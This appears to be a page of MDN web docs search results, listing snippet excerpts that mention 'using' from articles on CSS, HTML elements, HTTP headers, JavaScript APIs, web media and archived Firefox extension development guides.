... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: exclusion; } hue the final color has the hue of the top color, while using the saturation and luminosity of the bottom color.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: hue; } saturation the final color has the saturation of the top color, while using the hue and luminosity of the bottom color.
...And 2 more matches
<color> - CSS: Cascading Style Sheets
a <color> can be defined in any of the following ways: using a keyword (such as blue or transparent) using the rgb cubic-coordinate system (via the #-hexadecimal or the rgb() and rgba() functional notations) using the hsl cylindrical-coordinate system (via the hsl() and hsla() functional notations) note: this article describes the <color> data type in detail.
... to learn more about using color in html, see applying color to html elements using css.
... syntax the <color> data type is specified using one of the options listed below.
...And 2 more matches
<image> - CSS: Cascading Style Sheets
WebCSSimage
css determines an object's concrete size using (1) its intrinsic dimensions; (2) its specified size, defined by css properties like width, height, or background-size; and (3) its default size, determined by the kind of property the image is used with: kind of object (css property) default object size background-image the size of the element's background positioning area list-style-image the size of a 1...
...if supported, the browser-defined size matching the usual cursor size on the client's system content for a pseudo-element (::after/::before) a 300px × 150px rectangle the concrete object size is calculated using the following algorithm: if the specified size defines both the width and the height, these values are used as the concrete object size.
... if the specified size defines only the width or only the height, the missing value is determined using the intrinsic ratio, if there is any, the intrinsic dimensions if the specified value matches, or the default object size for that missing value.
...And 2 more matches
shape-image-threshold - CSS: Cascading Style Sheets
the shape-image-threshold css property sets the alpha channel threshold used to extract the shape using an image as the value for shape-outside.
...the gradient is established as a css shape using shape-outside, so that pixels within the gradient which are at least 20% opaque (that is, those pixels with an alpha component greater than 0.2) are considered part of the shape.
...</p> css #gradient-shape { width: 150px; height: 150px; float: left; background-image: linear-gradient(30deg, black, transparent 80%, transparent); shape-outside: linear-gradient(30deg, black, transparent 80%, transparent); shape-image-threshold: 0.2; } the shape is established here using background-image with a linear gradient rather than an image file.
...And 2 more matches
<transform-function> - CSS: Cascading Style Sheets
syntax the <transform-function> data type is specified using one of the transformation functions listed below.
... cartesian coordinates in the cartesian coordinate system, a two-dimensional point is described using two values: an x coordinate (abscissa) and a y coordinate (ordinate).
...a linear transformation function is described using a 2×2 matrix, like this: ac bd the function is applied to an element by using matrix multiplication.
...And 2 more matches
Block formatting context - Developer guides
using overflow: auto setting overflow: auto or set other values than the initial value of overflow: visible created a new bfc containing the float.
... the problem with using overflow to create a new bfc is that the overflow property is meant for telling the browser how you want to deal with overflowing content.
... using display: flow-root a newer value of display lets us create a new bfc without any other potentially problematic side-effects.
...And 2 more matches
Parsing and serializing XML - Developer guides
creating an xml document using one of the following approaches to create an xml document (which is an instance of document.
... parsing strings into dom trees this example converts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
... "error while parsing" : odom.documentelement.nodename); parsing url-addressable resources into dom trees using xmlhttprequest here is sample code that reads and parses a url-addressable xml file into a dom tree: var xhr = new xmlhttprequest(); xhr.onload = function() { dump(xhr.responsexml.documentelement.nodename); } xhr.onerror = function() { dump("error while getting xml."); } xhr.open("get", "example.xml"); xhr.responsetype = "document"; xhr.send(); the value returned in the xhr object's responsexml field is a document constructed by parsing the xml.
...And 2 more matches
Date and time formats used in HTML - HTML: Hypertext Markup Language
it's worth reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorithms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look.
... year numbers in order to simplify the basic format used for date strings in html, the specification requires that all years be given using the modern (or proleptic) gregorian calendar.
... while user interfaces may allow entry of dates using other calendars, the underlying value always uses the gregorian calendar.
...And 2 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
avoid using heading tags to resize text.
...using more than one will not result in an error, but using only one is seen as a best practice.
... sectioning content can be labeled using a combination of the aria-labelledby and id attributes, with the label concisely describing the purpose of the section.
...And 2 more matches
<basefont> - HTML: Hypertext Markup Language
WebHTMLElementbasefont
with this set, the font's size can then be varied relative to the base size using the <font> element.
... color this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format.
...further, browsers, and even successive versions of browsers, never implemented it in the same way: practically, using it has always brought indeterminate results.
...And 2 more matches
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
though the same visual effect can be achieved using the css rule unicode-bidi: isolate on a <span> or another text-formatting element, html authors should not use this approach because it is not semantic and browsers are allowed to ignore css styling.
... embedding the characters in <span dir="auto"> has the same effect as using <bdi>, but its semantics are less clear.
... examples no <bdi> with only ltr this example lists the winners of a competition using <span> elements only.
...And 2 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api.
...the other files can be identified using the input's htmlinputelement.files property.
...you should try to avoid using them when possible, since doing so will limit the ability of your code to function in browsers that don't implement them.
...And 2 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
hidden inputs cannot be focused even using javascript (e.g.
... important: while the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "view source" functionality.
... using hidden inputs as mentioned above, hidden inputs can be used anywhere that you want to include data the user can't see or edit along with the form when it's submitted to the server.
...And 2 more matches
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
this is typically represented using a slider or dial control rather than a text entry box like the number input type.
...the specification describes how to add custom points to the range control using the list attribute and a <datalist> element, but does not have any requirements or even recommendations for standardized hash or tick marks along the length of the control.
... html examples <input type="range"> screenshot live a range control with hash marks this range control is using a list attribute specifying the id of a <datalist> which defines a series of hash marks on the control.
...And 2 more matches
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
being easily manipulable using regular css.
...this is controlled by the resize css property — resizing is enabled by default, but you can explicitly disable it using a resize value of none: textarea { resize: none; } styling valid and invalid values valid and invalid values of a <textarea> element (e.g.
... those within, and outside the bounds set by minlength, maxlength, or required) can be highlighted using the :valid and :invalid pseudo-classes.
...And 2 more matches
<var>: The Variable element - HTML: Hypertext Markup Language
WebHTMLElementvar
it's typically presented using an italicized version of the current typeface, although that behavior is browser-dependent.
... usage notes related elements other elements that are used in contexts in which <var> is commonly used include: <code>: the html code element <kbd>: the html keyboard input element <samp>: the html sample output element if you encounter code that is mistakenly using <var> for style purposes rather than semantic purposes, you should either use a <span> with appropriate css or, an appropriate semantic element among the following: <em> <i> <q> default style most browsers apply font-style to "italic" when rendering <var>.
... this can be overridden in css, like this: var { font: bold 15px "courier", "courier new", monospace; } examples basic example here's a simple example, using <var> to denote variable names in a mathematical equation.
...And 2 more matches
Content-Encoding - HTTP
sometimes, using additional compression doesn't reduce payload size and can even make the payload longer.
... header type entity header forbidden header name no syntax content-encoding: gzip content-encoding: compress content-encoding: deflate content-encoding: identity content-encoding: br // multiple, in the order in which they were applied content-encoding: gzip, identity content-encoding: deflate, gzip directives gzip a format using the lempel-ziv coding (lz77), with a 32-bit crc.
... compress a format using the lempel-ziv-welch (lzw) algorithm.
...And 2 more matches
TE - HTTP
WebHTTPHeadersTE
note that chunked is always acceptable for http/1.1 recipients and you don't have to specify "chunked" using the te header.
... however, it is useful for setting if the client is accepting trailer fields in a chunked transfer coding using the "trailers" value.
... header type request header forbidden header name yes syntax te: compress te: deflate te: gzip te: trailers // multiple directives, weighted with the quality value syntax: te: trailers, deflate;q=0.5 directives compress a format using the lempel-ziv-welch (lzw) algorithm is accepted as a transfer coding name.
...And 2 more matches
HTTP headers - HTTP
WebHTTPHeaders
note that only hop-by-hop headers may be set using the connection general header.
... accept-ch servers can advertise support for client hints using the accept-ch header field or an equivalent html <meta> element with http-equiv attribute ([html5]).
...conditional requests using if-modified-since and if-unmodified-since use this value to change the behavior of the request.
...And 2 more matches
Functions - JavaScript
note: this works only when defining the function using the above syntax (i.e.
... return function() { return apicode; }; })(); getcode(); // returns the apicode caution: there are a number of pitfalls to watch out for when using closures!
... } } } using the arguments object the arguments of a function are maintained in an array-like object.
...And 2 more matches
Regular expression syntax cheatsheet - JavaScript
\cx matches a control character using caret notation, where "x" is a letter from a–z (corresponding to codepoints u+0001–u+001f).
...by placing a backslash in front of "b", that is by using /\b/, the character becomes special to mean match a word boundary.
...you can specify a range of characters by using a hyphen, but if the hyphen appears as the first or last character enclosed in the square brackets it is taken as a literal hyphen to be included in the character set as a normal character.
...And 2 more matches
Classes - JavaScript
class declarations one way to define a class is using a class declaration.
... class animal { speak() { return this; } static eat() { return this; } } let obj = new animal(); obj.speak(); // the animal object let speak = obj.speak; speak(); // undefined animal.eat() // class animal let eat = animal.eat; eat(); // undefined if we rewrite the above using traditional function-based syntax in non–strict mode, then this method calls is automatically bound to the initial this value, which by default is the global object.
... private field declarations using private fields, the definition can be refined as below.
...And 2 more matches
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
the javascript warning "javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead" occurs when a for each (variable in obj) statement is used.
... message warning: javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead error type warning what went wrong?
...0 }; for each (var x in object) { console.log(x); // 10 // 20 } alternative standard syntax you can now use the standard for...in loop to iterate over specified object keys, and get each value inside the loop: var object = { a: 10, b: 20 }; for (var key in object) { var x = object[key]; console.log(x); // 10 // 20 } or, using for...of (es2015) and object.values (es2017), you can get an array of the specified object values and iterate over the array like this: var object = { a: 10, b: 20 }; for (var x of object.values(object)) { console.log(x); // 10 // 20 } array iteration for each...in has been used to iterate over specified array elements.
...And 2 more matches
Date - JavaScript
in addition to methods to read and alter individual components of the local date and time (such as getday() and sethours()), there are also versions of the same methods that read and manipulate the date and time using utc (such as getutcday() and setutchours()).
... date.prototype.tojson() returns a string representing the date using toisostring().
... date.prototype.tolocaleformat() converts a date to a string, using a format string.
...And 2 more matches
Intl.Locale.prototype.hourCycle - JavaScript
valid hour cycle types hour cycle type description h12 hour system using 1–12; corresponds to 'h' in patterns.
... h23 hour system using 0–23; corresponds to 'h' in patterns.
... h11 hour system using 0–11; corresponds to 'k' in patterns.
...And 2 more matches
Map - JavaScript
note: as of es5, this can be bypassed by using object.create(null), but this is seldom done.
... examples using the map object let mymap = new map() let keystring = 'a string' let keyobj = {} let keyfunc = function() {} // setting the values mymap.set(keystring, "value associated with 'a string'") mymap.set(keyobj, 'value associated with keyobj') mymap.set(keyfunc, 'value associated with keyfunc') mymap.size // 3 // getting the values mymap.get(keystring) // "value associated with...
... 'a string'" mymap.get(keyobj) // "value associated with keyobj" mymap.get(keyfunc) // "value associated with keyfunc" mymap.get('a string') // "value associated with 'a string'" // because keystring === 'a string' mymap.get({}) // undefined, because keyobj !== {} mymap.get(function() {}) // undefined, because keyfunc !== function () {} using nan as map keys nan can also be used as a key.
...And 2 more matches
Object.defineProperty() - JavaScript
by default, values added using object.defineproperty() are immutable and not enumerable.
...they share the following optional keys (note: the default value is in the case of defining properties using object.defineproperty()): configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object.
... // using __proto__ var obj = {}; var descriptor = object.create(null); // no inherited properties descriptor.value = 'static'; // not enumerable, not configurable, not writable as defaults object.defineproperty(obj, 'key', descriptor); // being explicit object.defineproperty(obj, 'key', { enumerable: false, configurable: false, writable: false, value: 'static' }); // recycling same object funct...
...And 2 more matches
RegExp - JavaScript
when using the constructor function, the normal string escape rules (preceding special characters with \ when included in a string) are necessary.
... examples using a regular expression to change data format the following script uses the replace() method of the string instance to match a name in the format first last and output it in the format last, first.
... using regular expression to split lines with different line endings/ends of line/line breaks the default line ending varies depending on the platform (unix, windows, etc.).
...And 2 more matches
String.prototype.match() - JavaScript
if regexp is a non-regexp object, it is implicitly converted to a regexp by using new regexp(regexp).
... examples using match() in the following example, match() is used to find 'chapter' followed by 1 or more numeric characters followed by a decimal point and numeric character 0 or more times.
... using global and ignore case flags with match() the following example demonstrates the use of the global and ignore case flags with match().
...And 2 more matches
parseInt() - JavaScript
if this argument is not a string, then it is converted to one using the tostring abstract operation.
...6.022e23 for 6.022 × 1023), using parseint to truncate numbers will produce unexpected results when used on very large or very small numbers.
...for this reason, always specify a radix when using parseint.
...And 2 more matches
with - JavaScript
use of the with statement is not recommended, as it may be the source of confusing bugs and compatibility issues.
... using with is not recommended, and is forbidden in ecmascript 5 strict mode.
...note, however, that in many cases this benefit can be achieved by using a temporary variable to store a reference to the desired object.
...And 2 more matches
JavaScript typed arrays - JavaScript
however, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... web apis using typed arrays these are some examples of apis that make use of typed arrays; there are others, and more are being added all the time.
... examples using views with buffers first of all, we will need to create a buffer, here with a fixed length of 16-bytes: let buffer = new arraybuffer(16); at this point, we have a chunk of memory whose bytes are all pre-initialized to 0.
...And 2 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
example: the autoplay attribute an <audio> element using the autoplay attribute might look like this: <audio id="musicplayer" autoplay> <source src="/music/chapter1.mp4"> </audio> example 2: detecting autoplay failure if you rely on autoplay for anything important, or if autoplay failure will impact your app in any way, you will probably want to be able to tell when it autoplay didn't begin.
... autoplay using the web audio api in the web audio api, a web site or app can start playing audio using the start() method on a source node linked to the audiocontext.
... when using the allow attribute on an <iframe> to specify a feature policy for that frame and its nested frames, you can also specify the value 'src' to allow autoplay of media only from the same domain as that specified by the frame's src attribute.
...And 2 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
to keep images from breaking out of their containers when the container becomes narrower than the image, developers started using css like the following: img { max-width: 100%; height: auto; } this is really useful for responsive layouts, but unfortunately it causes the jank problem to return — the above css overrides the width and height attribute information, meaning that if the image has not loaded for some reason, its height will be set to 0.
...folks from mozilla then expanded on this thinking, working on a proposal in the css box sizing level 4 draft to define an aspect-ratio property and propose the idea of using the width and height attributes to compute layout.
... when the width/height of an <img> element — as set using html attributes — is overidden using css using something like this: img { max-width: 100%; height: auto } the aspect ratio is then used to calculate the height and therefore the correct size is applied to the <img> element, meaning that the aforementioned jank will not occur when the image loads.
...And 2 more matches
Web media technologies
this includes using local cameras and microphones to capture video, audio, and still images.
... using audio and video in html a guide to using the html <audio> and <video> elements.
...this ranges from simply using the alt attribute on <img> elements to captions to tagging media for screen readers.
...And 2 more matches
CSS and JavaScript animation performance - Web Performance
there are many ways to implement web animations, such as css transitions/animations or javascript-based animations (using requestanimationframe()).
...see using css transitions for more details.
...see using css animations for more details.
...And 2 more matches
How to make PWAs installable - Progressive web apps (PWAs)
this article explains how to achieve this using the web app's manifest.
... these technologies allow the app to be launched directly from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the url.
...if developing your app using firefox, be aware that you will need a service worker to be compatible with chromium-based browsers.
...And 2 more matches
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
using eventlisteners with objects the methods addeventlistener() and removeeventlistener() are very useful when writing interactive svg.
...t.setattributens(null,"y",y) this.rect.setattributens(null,"width",w) this.rect.setattributens(null,"height",h) document.documentelement.appendchild(this.rect) this.rect.addeventlistener("click",this,false) this.handleevent= function(evt){ switch (evt.type){ case "click": alert(this.message) break; } } } inter-document scripting: referencing embedded svg when using svg within html, adobe's svg viewer 3.0 automatically includes a window property called svgdocument that points to the svg document.
... this is not the case for mozilla's native svg implementation; therefore, using window.svgdocument does not work in mozilla.
...And 2 more matches
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
background mozilla decides if and how it can open files by using their media (mime) type.
...actually, in mozilla firefox 1.5, the media type for files embedded into html using the html <embed> and <object> tags is (unfortunately) obtained in the same way as it's obtained for local files instead of using the http headers as it should.
...one way to check is to create a new profile and restart mozilla using that profile.
...And 2 more matches
Contributor's Guide - Archive of obsolete content
as it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code.
...we will show how to do each of these things using the built-in components object provided by xulrunner application such as firefox and thunderbird.
... private properties people have come up with several ways to emulate private properties using existing language features.
... this article discusses two common techniques: one using prefixes, the other closures.
Porting the Library Detector - Archive of obsolete content
the library detector tells you which javascript frameworks the current web page is using.
...ar win = unsafewindow; var librarylist = []; for(var i in ld_tests) { var passed = ld_tests[i].test(win); if (passed) { var libraryinfo = { name: i, version: passed.version }; librarylist.push(libraryinfo); } } self.postmessage(librarylist); } testlibraries(); main.js responds to that message by fetching the tab corresponding to that worker using worker.tab, and adding the array of library names to that tab's libraries property: pagemod.pagemod({ include: "*", contentscriptwhen: 'end', contentscriptfile: (data.url('library-detector.js')), onattach: function(worker) { worker.on('message', function(librarylist) { if (!worker.tab.libraries) { worker.tab.libraries = []; } librarylist.foreach(function(lib...
...we'll specify its content using html, so we can display an array of icons.
...ll use the tabs module to update the widget's content when necessary (for example, when the user switches between tabs): tabs.on('activate', function(tab) { updatewidgetview(tab); }); tabs.on('ready', function(tab) { tab.libraries = []; }); showing the library detail the xul library detector displayed the detailed information about each library on mouseover in a tooltip: we can't do this using a widget, so instead will use a panel.
Guides - Archive of obsolete content
classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this.
... private properties learn how private properties can be implemented in javascript using prefixes, closures, and weakmaps, and how the sdk supports private properties by using namespaces (which are a generalization of weakmaps).
... sdk infrastructure module structure of the sdk the sdk, and add-ons built using it, are of composed from reusable javascript modules.
... sdk idioms working with events write event-driven code using the the sdk's event emitting framework.
ui/toolbar - Archive of obsolete content
like a panel, a toolbar's content is specified using html.
...you can supply three sorts of ui components: action buttons toggle buttons frames this add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { actionbutton } = require('sdk/ui/button/action'); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = actionbutton({ id: "previous", label: "previous", icon: "./icons/previous.png" }); var next = actionbutton({ id: "next", label: "next", ...
...toolbars get a close button at the right-hand side, and users can show or hide the toolbar using the firefox "view/toolbars" menu, alongside built-in toolbars like the bookmarks toolbar.
... hide this event is emitted when the user hides the toolbar, either using the "close" button or using the "toolbars" menu.
Getting Started (jpm) - Archive of obsolete content
this article describes how to develop using jpm.
... this tutorial walks through creating a simple add-on using the sdk.
... prerequisites to create add-ons for firefox using the sdk, you'll need: firefox version 38 or later.
... summary in this tutorial we've built and packaged an add-on using three commands: jpm init to initialize an empty add-on template jpm run to run a new instance of firefox with the add-on installed, so we can try it out jpm xpi to package the add-on into an xpi file for distribution these are the three main commands you'll use when developing sdk add-ons.
Modifying Web Pages Based on URL - Archive of obsolete content
use contentscriptfile option instead of contentscript and pass it script url which can be obtained using self.data.url("my-script.js").
...if you do this, scripts loaded using contentscriptfile are loaded first.
... to send a message from one side to the other, sender calls port.emit() and receiver listens using port.on().
... define read-only values accessible to content scripts using the contentscriptoptions option.
Modifying the Page Hosted by a Tab - Archive of obsolete content
to modify the page hosted by a particular tab, load one or more content scripts into it using attach() method of tab object.
...the script is specified using the contentscript option, and just draws a red border around the page.
... to send a message from one side to the other, sender calls port.emit() and receiver listens using port.on().
... the content script now needs to look like this: // "self" is a global object in content scripts // listen for a "drawborder" self.port.on("drawborder", function(color) { document.body.style.border = "5px solid " + color; }); in the add-on script, we'll send the content script a "drawborder" message using the object returned from attach(): var self = require("sdk/self"); var tabs = require("sdk/tabs"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { var worker = tabs.activetab.attach({ contentscriptfile: self.data.url("my-script.js") }); worker.port.emit("drawborder", "red"); ...
JavaScript timers - Archive of obsolete content
clearinterval() cancels repeated action which was set up using setinterval().
... using javascript timers within animations (javascript daemons management) in computer science a daemon is a task that runs as a background process, rather than being under the direct control of an interactive user.
... using javascript timers within workers workers can use timeouts and intervals just like the main thread can.
... basic animations since we're using script to control canvas elements it's also very easy to make (interactive) animations.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website.
... downloading json if the extension is downloading json, then the developer should be using one of the json decoding methods discussed here and not using eval() at all.
...downloading state from a remote webserver using json is becoming extremely popular.
... sandboxing is done using components.utils.evalinsandbox().
Extension Packaging - Archive of obsolete content
the xpi file must contain only uncompressed files, or files compressed using the deflate algorithm.
... when using this method you must verify that the file system permissions for the directories, and files for the extension, are set properly.
... register an extension location using the windows registry external installers, such as the java runtime, may wish to install application integration points as an extension, even if the application is not yet installed.
... this can be accomplished on windows using the registry.
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data from unprivileged document to chrome an easy way to send data from a web page to an extension is by using custom dom events.
...ueryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); if you need to to pass lots of data, consider using cdata sections instead of the simple attributes on a custom element.
... note: if you're using html5's postmessage() to send a message from unprivileged code to privileged code, adding 'true' to the end of your event listener in your privileged chrome code will allow the message to be received.
...this can be done using the same principle as the above example.
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
using venkman read in source code activate venkman, and then select open windows:quicknote.xul:files on the top-left of the screen.
...if you want to use terapad2, for example, insert the following: c:\app\tpad090\terapad.exe /jl=%l %f table 1: parameters used in mozunit parameter description %f filename %l line number %c column number the author uses meadow, which is opened using gnuserv.
...somehow, using pop() got the order of the arguments mixed up.
...also be aware of a potential problem when using paths not representing entities.5 this requires a full path as an argument.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
the role of each technology firefox is largely built using four technologies: xul, css, javascript, and xpcom.
... extensions are also built using these four technologies.
...in earlier dynamic html approaches, the typical method was to use the innerhtml property of the html element node to dynamically change the contents of the html document by manipulating strings, but using the dom makes it possible to manipulate xml documents in a way that better matches javascript's object-oriented nature.
... listing 4: an example manipulation using the dom var bar = document.getelementbyid('toolbar'); bar.removechild(bar.childnodes[1]); bar.appendchild(document.createelement('button')); bar.lastchild.setattribute('label', 'hello!'); « previousnext » ...
Adding Events and Commands - Archive of obsolete content
for a button, it represents the action of the user clicking on it, or focusing it with the keyboard and then pressing the enter key.
...the advantage of using the event argument is that the method is not dependent of the specific button, so it can also be used for other elements.
... then you need to identify which of your xul elements will be linked to this broadcaster, using the observes attribute: <menuitem id="xulschoolhello-hello-menu-item" label="&xulschoolhello.hello.label;" accesskey="&xulschoolhello.helloitem.accesskey;" observes="xulschoolhello-online-broadcaster" oncommand="xulschoolchrome.browseroverlay.sayhello(event);" /> the attribute value is set to be the id of the broadcaster element, indicating that this element will observe all attribute ...
... with that set, all you need to do now is set or remove attributes in the broadcaster using javascript.
Appendix F: Monitoring DOM changes - Archive of obsolete content
for this reason, it is best to avoid using mutation listeners at all costs, especially from extensions.
...these requests can be tracked from chrome code using a variety of methods, including web progress listeners, http observers, and content policies.
... as it is currently possible to attach only a single binding to a given dom node at once, it is important when using this method to detach your binding from a node once your constructor has run.
...for instance, when using the selector div:not([foo-binding-done]), you can detach your binding by running this.setattribute("foo-binding-done", true) in your constructor.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
onclick) for (var key in elemattr) { var val = elemattr[key]; if (nodes && key == "key") { nodes[val] = elem; continue; } var attrns = namespace(key); if (typeof val == "function") { // special case for function attributes; don't just add them as 'on...' attributes, but as events, using addeventlistener elem.addeventlistener(key.replace(/^on/, ""), val, false); } else { // note that the default namespace for xml attributes is, and should be, blank (ie.
...x"); var palette = toolbox.palette; var domfragment = jsontodom(jsontemplatebtn, document, capturednodes); palette.appendchild(domfragment); alert("capturednodes contains any created nodes that have optionally been captured (for later convenient javascript access) by giving them a 'key' attribute; for example: " + capturednodes.mytestbutton123); another example this here is another example of using jsontodom but in the html scope, a complex form is created with ease.
...when using the jquery constructor, only empty tags should be specified in order to avoid invoking the dom parser.
... function createscript(href, otherstuff) { var script = function (href, otherstuff) { dostuffwith(href); dootherstuff(); for (var somestuff in otherstuff) dosomemorestuffwith(somestuff); } return script.tosource() + "(" + [string.quote(href), uneval(otherstuff)] + ")"; } safely using remote html in the above cases, we're working with text content that needs to appear in generated dom.
Intercepting Page Loads - Archive of obsolete content
http observers another common way of detecting and intercepting loads is using http observer topics.
... asubject.cancel(components.results.ns_binding_aborted); } } } this example shows how you can obtain the url for the request, analyze it using regular expressions, and perform actions on it such as modifying http headers, or even canceling the request.
...we're being careful about removing all listeners, as not doing it has the potential of causing memory leaks.
...you can create an xpcom component that extends nsicontentpolicy and register it to the "content-policy" category using the nsicategorymanager.
Mozilla Documentation Roadmap - Archive of obsolete content
first of all, the in-site search is not reliable, so we recommend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org".
...in the meantime, you can still navigate xulplanet using the wayback machine.
... there are several useful feeds that you can follow using a feed reader, such as thunderbird.
...problems using irc include: finding help when you have a big timezone difference with the united states, and no records of previously asked questions and their answers.
Observer Notifications - Archive of obsolete content
you could do that by calling all those functions directly, but xpcom offers you a better and cleaner way to achieve that using observers and the observer service.
...you may notice that we explicitly set the interface of the asubject object to nsisupportsstring using the queryinterface method.
... you can always listen for multiple notification topics using the same observer.
... useful firefox notifications we have covered sending and receiving custom notification topics using observers and the observer service.
Session store API - Archive of obsolete content
the session store api is implemented using the nsisessionstore interface.
... fetching a saved value you can fetch a value associated with a tab at any time (whether the tab is in the process of being restored or not), using code similar to the following: var ss = components.classes["@mozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; var retrieveddata = ss.gettabvalue(currenttab, "key-name-here"); after this code executes, the variable retrieveddata contains the value saved for the key "key-name-here".
... starting in firefox 3.5, notifications are sent after reading session store data and before using it, as well as immediately before writing it back to disk.
... using the session store api in seamonkey there are a number of differences between the session store api in firefox and the api in seamonkey 2.0: the class name is @mozilla.org/suite/sessionstore;1 var ss = components.classes["@mozilla.org/suite/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); when restoring a window, closed tabs in that window are not currently restored.
Firefox addons developer guide - Archive of obsolete content
instead of using footnotes, we should inline these notes into the body of the article.
... apostrophes are being done using curly apostrophes instead of straight ones as is done everywhere else in mdc.
... these articles are all tagged as covering firefox 3.1 using the fx_minversion_header template, but i don't think that's the case.
... certainly appendix 2 doesn't care what version of firefox you're using, since it's just about open source software licenses.
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
for mozilla 1.x.x, firefox, thunderbird or netscape 7 it is still a javascript file, the byte-shift is 13 by default, but can be removed using the pref("general.config.obscure_value", 0); preference in any appropriate .js file dedicated to autoconfig (here autoconf.js).
... getldapattributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeleduri"); // close the try, and call the catch() } catch(e) { displayerror("lockedpref", e); } thunderbird.cfg (version 2 with ad) using thunderbird 9.0.1 and try to use a active directory (windows server 2008) as ldap-source did not work with version 1.
...serinfo[ ldapattrs[attr] ] = getldapvalue( queryresults, ldapattrs[attr] ); } } else { throw( "no ldap results" ); } } // call upon ldap for the values in ldapattrs array, // uses the previous processldapvalues() getldapattributes( ldaphost, ldapbase, ldapfilter, ldapattrs.join(",") ); // create account // see also http://blog.deanandadie.net/2010/06/easy-thunderbird-account-management-using-mcd/ // identity defaultpref("mail.identity.id1.fullname", userinfo.cn ); defaultpref("mail.identity.id1.smtpserver", "smtp1" ); defaultpref("mail.identity.id1.useremail", userinfo.mail ); // imap server settings defaultpref("mail.server.server1.hostname", "myimap.server.com" ); defaultpref("mail.server.server1.name", userinfo.mail ); defaultpref("mail.server.server1.port", 993 ); defaultpref("m...
...y 24 hours defaultpref("browser.startup.page",1); //0=blank page, 1=homepage, 2=last visited defaultpref("browser.startup.homepage", "http://www/mci/mode-d-emploi.shtml"); lockpref("browser.cache.directory", "/tmp"); lockpref("browser.cache.memory_cache_size", 0); lockpref("mail.server_type",1); // pop=0 imap=1 lockpref("network.hosts.imap_servers", "pop-int"); lockpref("mail.imap.server.pop-int.using_subscription",true); lockpref("mail.imap.server.pop-int.username", env_user); lockpref("mail.identity.useremail", ldap_email); lockpref("mail.identity.username", ldap_gecos); lockpref("mail.check_new_mail", false); lockpref("mail.directory", env_home+"/nsmail"); lockpref("mail.identity.defaultdomain", "int-evry.fr"); lockpref("mail.identity.organization", "int evry essonne "); // ldap lockpref("...
Source code directories overview - Archive of obsolete content
rhapsody contains source code for mac os x server (which is based on nextstep which is based on x-windows on unix) using yellow box (cocoa).
... netwerk contains c interfaces and code for low-level access to the network (using sockets and file and memory caches) as well as higher-level access (using various protocols such as http, ftp, gopher, castanet).
... profile contains c interfaces, c code, xul and javascript scripts for creating new user profiles, managing existing user profiles, migrating profiles from mozilla classic and using default profiles for popular isps (e.g.
...this code reads and writes data from and to the local file system, databases, the internet or any other source using a url-like syntax.
Autodial for Windows NT - Archive of obsolete content
to them it looks like mozilla is broken because windows doesn't try to dial when the feature is turned on in control panel | internet options | connections when they are using mozilla but it does when they are using internet explorer.
...if you are using a system with just a modem, the best approach is to configure the remote access auto connection service to automatically start.
...if you are using a system with both a lan and a modem connection, and you want to use the autodial feature whenever you are not connected to the lan, it's probably better to use the control panel | internet options | connections options.
...the problem is with the aol client, be the bug could probably be fixed by not changing mozilla to avoid using the aol client as a dialer even though it installs itself as one.
Creating a Microsummary - Archive of obsolete content
